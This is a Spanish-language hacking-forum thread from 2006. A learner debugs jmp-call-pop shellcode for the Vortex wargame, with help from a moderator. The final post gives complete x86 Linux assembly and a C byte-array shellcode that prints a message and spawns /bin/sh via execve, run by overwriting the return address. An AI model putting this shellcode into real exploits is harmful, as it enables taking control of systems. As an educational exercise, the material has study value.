elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:21  


Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Problema con saltos en ASM Intel en Linux, para creacion de shellcodes
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Problema con saltos en ASM Intel en Linux, para creacion de shellcodes  (Leído 1,551 veces)
Ole

Desconectado Desconectado

Mensajes: 130



Ver Perfil
Problema con saltos en ASM Intel en Linux, para creacion de shellcodes
« en: 30 Agosto 2006, 17:36 »

No me atrevi a ponerlo dentro del post anterior por si acaso no despertaba tanta curiosidad o se pensaba que ya estaba resuelto.

Sdc si consideras que solo me vas a ayudar tu xD lo puedes mover dentro del otro pa no tener un revoltijo de mensajes de mis desventuras :P

Weno me explico con este nuevo problema, como ya comente en el anterior, consegui hacer funcionar akello nada mas postear la duda en el foro asi que voy a hacer lo mismo a ver si me viene la iluminacion divina ^^.

Ahora estoy intentando escribir un array que escriba por pantalla usando printf... me esta dando un fallo de segmentacion y/o de instruccion ilegal (ahora si) y depurando como de costumbre conozco el pk del fallo pero no el pk se llega alli, lo expongo.

Como siempre primero escribo el programa en ensamblador para luego ver el codigo hexadecimal, el programa en cuestion es este:

                    .text
                    .globl main
main:           pushl %ebp
                    movl %esp, %ebp
                    sub $0x10, %esp

                    jmp  0xf
                    pop %esi
                    movl %esi, (%esp)
                    call printf
                    leave
                    ret

                    call -0xc
                    .string "aaaa\n"

Explicacion: Primero las 3 instrucciones de prologo de siempre, luego el truco del jmp y call, para que se quede en la pila la "direccion de retorno" del call (la direccion de la string), de esa forma al volver al pop %esi de arriba pondremos en el registro esi la direccion de la ristra, luego pongo la direccion en la cima de pila y llamo a printf pa que imprima por pantalla y luego retorno trankilamente.

Ese programa escrito en ensamblador funcion, pruebalo:

$ gcc -gstabs+ -o nombrekekieras nombreprograma.s

escribe "aaaa" por la pantalla y ya esta. Bueno, despues con el gdb lo destripo, es decir cojo su codigo en ensamblador, os pongo la capturilla de pantalla:

(gdb) disassemble main
Dump of assembler code for function main:
0x08048360 <main+0>:    push   %ebp
0x08048361 <main+1>:    mov    %esp,%ebp
0x08048363 <main+3>:    sub    $0x10,%esp
0x08048366 <main+6>:    jmp    0x8048376 <main+22>
0x0804836b <main+11>:   pop    %esi
0x0804836c <main+12>:   mov    %esi,(%esp)
0x0804836f <main+15>:   call   0x80482b0 <printf@plt>
0x08048374 <main+20>:   leave
0x08048375 <main+21>:   ret
0x08048376 <main+22>:   call   0x804836b <main+11>
0x0804837b <main+27>:   popa
0x0804837c <main+28>:   popa
0x0804837d <main+29>:   popa
0x0804837e <main+30>:   popa
0x0804837f <main+31>:   or     (%eax),%al
0x08048381 <main+33>:   nop
0x08048382 <main+34>:   nop
0x08048383 <main+35>:   nop
End of assembler dump.
(gdb) x /21bx main+6
0x8048366 <main+6>:     0xe9    0x0b    0x00    0x00    0x00    0x5e    0x89    0x34
0x804836e <main+14>:    0x24    0xe8    0x3c    0xff    0xff    0xff    0xc9    0xc3
0x8048376 <main+22>:    0xe8    0xf0    0xff    0xff    0xff
(gdb)

Ahi se puede ver el codigo en hexadecimal que deberiamos poner en un buffer en C (de char of course) para saltar a el y ejecutarlo. Tb he hecho ese programa, keda algo asi:

unsigned char chacho[] = "\xe9\x0b\x00\x00\x00\x5e\x89\x34\x24\xe8\x3c\xff"
                         "\xff\xff\xc9\xc3\xe8\xf0\xff\xff\xff\x61\x61\x61"
                         "\x61\x00";

int main()
{
        int *ret;

        ret = (int*)((&ret) + 2);
        (*ret) = (int)chacho;
}

No tiene mucha ciencia, la parte del main, esta bien, esta copiada y pegada del programa anterior que si funcionaba, ademas la he depurado y si se ejecuta como debe ser, ahora os pongo una ejecucion con el gdb donde se da el fallo de este codigo y no se pk ocurre pero si donde:

(gdb) l 1,30
1       unsigned char chacho[] = "\xe9\x0b\x00\x00\x00\x5e\x89\x34\x24\xe8\x3c\xff"
2                                "\xff\xff\xc9\xc3\xe8\xf0\xff\xff\xff\x61\x61\x61"
3                                "\x61\x00";
5
6       int main()
7       {
8               int *ret;
9
10              ret = (int*)((&ret) + 2);
11              (*ret) = (int)chacho;
12      }
(gdb) br 10
Breakpoint 1 at 0x8048348: file maspruebas.c, line 10.
(gdb) r
Starting program: /home/ole/Cosas_aprender/Wargames/PullThePlug/Vortex/level1/pruebas/maspruebas

Breakpoint 1, main () at maspruebas.c:10
10              ret = (int*)((&ret) + 2);
(gdb) s
11              (*ret) = (int)chacho;
(gdb) s
12      }
(gdb) s
0x08049580 in chacho ()
(gdb) p /x &chacho
$1 = 0x8049580
(gdb) p /x *(int*)$eip
$2 = 0xbe9
(gdb) s
Single stepping until exit from function chacho,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x080494cd in _DYNAMIC ()
(gdb)

Vemos como muestro la funcion para que todo el mundo vea que es la misma que ejecuto, pongo breakpoint en el principio y ejecuto hasta que llega a "chacho", vemos como eip tiene la direccion de chacho y tb como a lo que apunta es a la primera instruccion la cual se supone que es el jmp pero cuando le dio a seguir pa que salte, el tio salta, pero a la direccion 0x080494cd que es mas pequeña que 0x8049580 (jmp) lo que quiere que esta saltando hacia el lado contrario de donde quiero y ademas una cantidad de bytes que no es la que corresponde pk 0x8049580-0x080494cd=b3=179 bytes, y no los 0xf que le pido yo...

Weno pos ese es el problema, que no tengo ni idea de pk salta pal otro lado :s estoy intentando buskar alguna cosa que me diga como se codifican las instrucciones de un intel pentium (que es pa lo que compilo) pa ver si poniendo los 5 bytes de la instruccion jmp en binario veo el problema, pero todavia no lo he encontrado... Y me moskea mucho que en ensamblador me funcione y no asi en C :s.

Cualquier idea siempre es bien recibida, muchas gracias.


PD: En un principio tenia mis dudas con el hecho de que no incluia la stdio.h pa la funcion printf, pero al programar en ensamblador me di cuenta de que el ensamblador la enlaza si ve un call a ella, de todas formas tb he probado a ponerle el include en el codigo de C y nada, logico pk por ahi no es donde falla xDD.

PDD: Ire poniendo el avance y solucion si encuentro pa que no kede en el aire.
« Última modificación: 31 Agosto 2006, 02:14 por Sdc » En línea

-= Happy hacking =-
Ole

Desconectado Desconectado

Mensajes: 130



Ver Perfil
Re: Otro problemilla mas ^^
« Respuesta #1 en: 31 Agosto 2006, 00:32 »

Esto es un vicio, es como una droga, no puedo kitarmelo de la cabeza, llevo todo el dia dandole vueltas al fallo, se que esta en la instruccion jmp.

Ya he logrado encontrar paginas para informarme sobre el formato de las instrucciones de intel pentium.

Aqui se explica el formato: http://www.it.uc3m.es/ttao/html/ISA.html

Aqui se dicen los codigos de operacion segun el tipo de jmp: http://www.itis.mn.it/linux/quarta/x86/jmp.htm

He logrado dilucidar que el salto que realizo es un jmp rel32, ya que la cabecera es un unico byte con valor E9, tb lo descubri porque los 4 bytes inmediatos que continuan, estan en little endian y codifican los bytes a sumarle al EIP a partir de la direccion de la siguiente instruccion al jmp, es decir, a la direccion de pop %esi se le suma 0x0000000b y veremos que da justo la del call... aun asi no me explico por que en mi programa en C salta hacia otro lado.

Esto parece mas bien un diario, en fin, sigo mi investigacion, mas abajo no puedo llegar :)
En línea

-= Happy hacking =-
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Otro problemilla mas ^^
« Respuesta #2 en: 31 Agosto 2006, 02:13 »

tu programa si salta hacia atras..

lo que pasa es que tu salto a printf, no esta hardcodeado, debes hacer saltos absolutos.. mira:

Código:
chacho:
 000096e0:  jmp    chacho+16
 000096e5:  pop    %esi
 000096e6:  mov    %esi,(%esp,1)
 000096e9:  call   sbrk16_first_byte+22 ; <<== tu error esta aqui
 000096ee:  leave
 000096ef:  ret
 000096f0:  call   chacho+5
 000096f5:  popa
 000096f6:  popa
 000096f7:  popa
 000096f8:  popa

deberia de ser:

mov    $0x80482b0,%eax
call eax

o algo asi..
:P
Saludos!!
En línea

Ole

Desconectado Desconectado

Mensajes: 130



Ver Perfil
Re: Problema con saltos en ASM Intel en Linux, para creacion de shellcodes
« Respuesta #3 en: 31 Agosto 2006, 11:34 »

Me falta nomenclatura, ¿a que te refieres con hardcodeado?

Otra... el codigo que posteastes... no es mio :s o no al menos al completo

Por cierto, he cambiado la tecnica, ahora en vez de usar printf lo que he hecho es usar la llamada al sistema sys_write, pero antes tengo que hacer sys_open a stdout, pero ya comente que no va por ahi, pk ahora en ensamblador tb me funciona y si lo paso a un array en C pasa lo mismo, que el salto salta a donde le da la gana :s
« Última modificación: 31 Agosto 2006, 12:17 por Ole » En línea

-= Happy hacking =-
Ole

Desconectado Desconectado

Mensajes: 130



Ver Perfil
Re: Problema con saltos en ASM Intel en Linux, para creacion de shellcodes
« Respuesta #4 en: 31 Agosto 2006, 18:08 »

Bueno, ya he resuelto el problema, yo solo queria escribir en pantalla y luego lanzar un shell, la verdad es que no estoy seguro de que las soluciones sean las verdaderas pero tienen buena base, comento y posteo codigo

Bueno, lo que creo que pasaba no era que el salto estuviera mal, de hecho el salto estaba bien, pero al no ser esa zona de codigo sino de datos tras ejecutar la primera instruccion el gdb seguia ejecutando el resto puesto que "no son instrucciones sino datos", esto hacia que yo pensara que fallaba en el jmp, pero realmente fallaba mas adelante. Hasta aqui primer punto, recordad que al depurar en datos no se pueden poner breakpoints :(

Mas cosas, me di cuenta que tambien estaba haciendo esto:

shell:        .string "/bin/sh"
                .int    shell
                .int    0
                .string "/dev/stdout"
                .string "Toma shell!\n"

Ese codigo esta justo debajo de la instruccion call que hace que pueda descubrir donde en memoria se encuentran las ristras. Bien, en tiempo de compilacion y al estar este codigo en la parte de ".text" si se puede sustituir el ".int shell" y poner alli la direccion de memoria que le corresponde a "/bin/sh", esto ya se codifica directamente en ensamblador y alli te encuentras 0x8040afd5 o por el estilo, pero si se pone en los datos todo ese codigo para hacer el exploit, tb se esta poniendo esa direccion y cuando la vayamos a leer estaremos llendo a una direccion que no es la que realmente queremos, la direccion de la ristra /bin/sh, esto es debido a que la situacion donde se colocara nuestro exploit cuando se lo pasemos al programa a explotar sera desconocida y aleatoria, mientras que como yo lo simulaba poniendo en codigo me daba bien lo que realmente estaba mal. Mucho ojo a esto. ESTO ES LO QUE ME FALLABA ANTES! mezclando que yo pensaba que era el salto y realmente no lo era y que ya habia una direccion fija en mi exploit, se iba a buskar una direccion que no era y por consiguiente akello explotaba.

Ahora vienen las soluciones. A la primera pos no hacer el primo y tener la cabeza fria xD.

A la segunda un poco mas currada, posteo el codigo ensamblador y luego el exploit en C:

      # Este codigo esta impreso en maspruebas.c
      # pero solo el de explota y solo el que esta
      # entre el jmp y las ristras antes de main

      .text
      .globl   explota
explota:   pushl   %ebp
      mov    %esp,%ebp
      sub    $0x10,%esp

      jmp   0x4b
      popl   %esi
      movl   %esi, 0x8(%esi)
      # Truco, solo funciona en datos
   
      movl   $0x5, %eax
      movl   %esi, %ebx
      addl   $0x10, %ebx
      movl   $0x1, %ecx
      int   $0x80
      # Abrir la pantalla

      movl   %eax, %ebx
      movl   $0x4, %eax
      movl   %esi, %ecx
      addl   $0x1c, %ecx
      movl   $0xc, %edx
      int   $0x80
      # Escribir mensaje

      movl   $0xb, %eax
      movl   %esi, %ebx
      movl   %esi, %ecx
      addl   $0x8, %ecx
      movl   $0x0, %edx
      int   $0x80
      # Hacer un shell

      movl   $0x1, %eax
      movl   $0x0, %ebx
      int   $0x80
      # Exit

      call   -0x48
      .string   "/bin/sh"
      .int   
      # Debido a que aqui voy a escribir, este codigo solo se puede ejecutar en datos
      .int   0
      .string   "/dev/stdout"
      .string   "Toma shell!\n"

      .globl   main
main:      push   %ebp
      mov   %esp, %ebp
      sub   $0x10, %esp

      call   explota

      leave
      ret

--------------------------------------------------------------------------------------------------------------

unsigned char exploit[] ="\xe9\x47\x00\x00\x00\x5e\x89\x76"
                                    "\x08\xb8\x05\x00\x00\x00\x89\xf3"
                                    "\x83\xc3\x10\xb9\x01\x00\x00\x00"
                                    "\xcd\x80\x89\xc3\xb8\x04\x00\x00"
                                    "\x00\x89\xf1\x83\xc1\x1c\xba\x0c"
                                    "\x00\x00\x00\xcd\x80\xb8\x0b\x00"
                                    "\x00\x00\x89\xf3\x89\xf1\x83\xc1"
                                    "\x08\xba\x00\x00\x00\x00\xcd\x80"
                                    "\xb8\x01\x00\x00\x00\xbb\x00\x00"
                                    "\x00\x00\xcd\x80\xe8\xb4\xff\xff"
                                    "\xff\x2f\x62\x69\x6e"
                                    "\x2f\x73\x68\x00\x76\x83\x04\x08"
                                    "\x00\x00\x00\x00\x2f\x64\x65\x76"
                                    "\x2f\x73\x74\x64\x6f\x75\x74\x00"
                                    "\x54\x6f\x6d\x61\x20\x73\x68\x65"
                                    "\x6c\x6c\x21\x0a\x00";
         
int main()
{
   int *ret;

   ret = (int*)((&ret) + 2);
   (*ret) = (int)exploit;
}

--------------------------------------------------------------------------------------------------------

Bueno, en el codigo ensamblador vemos que esta vez en el primer entero despues de /bin/sh no he puesto "consola" ya que como explique antes, la direccion que tome es irrelevante, necesitamos poner alli sin embargo la direccion de /bin/sh ya que a la llamada al sistema execve para crear el shell hace falta como 3 argumento (%ecx) la direccion del vector que contiene los punteros a los argumentos, el primero /bin/sh y siguientes en mi caso nulo, por eso pongo un .int 0 despues del entero siguiente a /bin/sh. La forma que tengo de poner la direccion que quiero alli es basandome en que se supone que ese codigo seran datos, y como tales, esas paginas dentro del sistema SI SE PUEDEN ESCRIBIR!, por lo tanto si nos fijamos justo despues del jmp tengo el tipico pop %esi que siempre he escrito hasta ahora, y que lo que hace es almacenarme en %esi la direccion real de /bin/sh, ya la tenemos, asi que la podemos escribir en aquel lugar, ¡OJO! EL PROGRAMA POSTEADO EN ENSAMBLADOR NO FUNCIONA! porque ahi esta todo dentro de texto y no esta permitida la escritura, pero la idea es que nosotros cojamos el codigo hex que produce eso y lo pongamos en datos, donde si se permite escribir como ya dije.

Weno y hasta aqui la explicacion del problema y la solucion.

El programa en C tiene en el "exploit" el codigo desde el jmp hasta la string "Toma shell\n". Si lo ejecutais lo que pasara es que os soltara en pantalla Toma shell!\n y luego un shell y ya esta.

Se que no es mucho, pero oye, por algo se empieza y seguro que esta practica me viene bien pa muchas otras cosas, yo estoy mu contento :)

PD: Pa que el programa de C funcione teneis que ejecutarlo obiamente en un x86 y sobre linux
« Última modificación: 31 Agosto 2006, 20:01 por Ole » En línea

-= Happy hacking =-
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines